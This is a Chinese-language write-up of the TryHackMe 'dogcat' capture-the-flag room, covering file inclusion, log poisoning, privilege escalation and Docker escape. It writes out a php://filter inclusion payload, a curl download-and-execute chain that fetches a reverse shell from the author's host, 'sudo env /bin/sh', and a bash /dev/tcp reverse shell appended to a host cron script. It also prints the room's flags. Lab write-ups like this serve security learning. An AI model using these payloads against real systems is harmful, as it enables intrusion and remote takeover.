扫了下端口,发现只有22和80两个端口

flag1(文件包含)

先扫一下目录,因为要找flag,所以搜索一下php,html,txt之类的文件

gobuster dir -u http://10.10.102.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60
gobuster dir -u http://10.10.102.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 60

登录进来发现是一个选择,随便选一个

因为发现有传参,试试看是否存在注入,发现报错,所以存在注入

还试了一下文件包含,发现没有,那就想试着用sqlmap跑跑看,发现也跑不出来

目录扫出来一个flag.php

想直接访问来着,发现是一片空白,读不出来,可能没有显示PHP的代码,那就试着用伪协议来读

提示说只能有狗或者猫,之前貌似做过这个,需要URL里出现dog或者cat

那就访问

http://10.10.102.87/?view=php://filter/read=convert.base64-encode/resource=dog/../flag

因为目录扫出来会发现他们是在同一个目录下的

得到flag的base64编码,解码得到

flag1:

THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

flag2(Getshell)

既然这样,那就用包含dog或者cat的伪协议来读取index.php

得到一串PHP代码,让我们来分析一下

先是定义了一个叫做containsStr的方法,来判断第一个字符串中是否含有第二个字符串,是的话返回真

然后需要存在一个view参数,如果有dog或cat就输出’Here you go!’,不存在就输出’Sorry, only dogs or cats are allowed.’

然后定义了一个ext参数,应该是用作后缀名,如果不存在就赋值为”php”

原来之前不能访问/etc/passwd应该是后缀的问题

这次加上ext,值为空,那就能访问passwd了

http://10.10.102.87/?ext=&view=php://filter/read=convert.base64-encode/resource=dog/../../../../../../../../../../etc/passwd

但获得的都是一些系统用户,没有什么实际的用处

到这里思路就断了

WP用的是用日志中毒

把UA改成一个一句话木马测试一下,然后GET改成apache的日志,我也不知道这个路径应该是apache日志默认目录吧

既然这样,那就可以来用这个木马来访问一个本地的反弹shell文件,有点像远程文件包含

MD,接下来的步骤卡了NM几万年!!!头一次打靶机打的想似

在本地开启一个服务器

python -m http.server 80

然后在这个目录放一个PHP的反向shell

将test的值赋值为

curl%20http://10.11.38.245/reverseshell.php%20-o%20shell.php%20&&%20chmod%20+x%20shell.php%20&&%20./shell.php

URL编码前:

curl http://10.11.38.245/reverseshell.php -o shell.php && chmod +x shell.php && ./shell.php

然后在给test赋值为ls,可以看到shell.php存在

开启监听

在浏览器中访问

终于连上了啊啊啊啊啊相似啊

在/var/www目录找到了第二个flag

THM{LF1_t0_RC3_aec3fb}

flag3(提权)

下一个flag估计要提权了,sudo -l 看一下

直接执行

sudo env /bin/sh

成功提权

/root/flag3.txt

THM{D1ff3r3nt_3nv1ronments_874112}

flag4(docker逃逸)

在这个房间开头让我们突破docker,也就是说我们现在访问到的都是docker容器,所以要突破这个容器到达宿主机

输入hostname,发现主机名字是一串数字和字母也可以知道我们现在在docker中

在/opt/backcups发现了一个奇怪的脚本,cat看一下

应该是宿主机的一个备份命令

echo "bash -i >& /dev/tcp/10.11.38.245/1235 0>&1" >> backup.sh

追加一段反向shell在这个脚本尾

开启另一个监听

过了几分钟发现接收到了shell,主机名叫dogcat,应该就是宿主机了,也就是说宿主机设置了一个计划任务,会执行这个脚本(大概),这块还不太懂啊。

在root中

flag4.txt

THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

碎碎念

打了相当久一个靶机,真的打到崩溃,相当折磨qwq。不过收获也是相当的大!复习了一下文件包含,也学到了日志中毒。然后第一次接触docker逃逸类型,打算好好学学这个,对于docker还不是很熟悉呢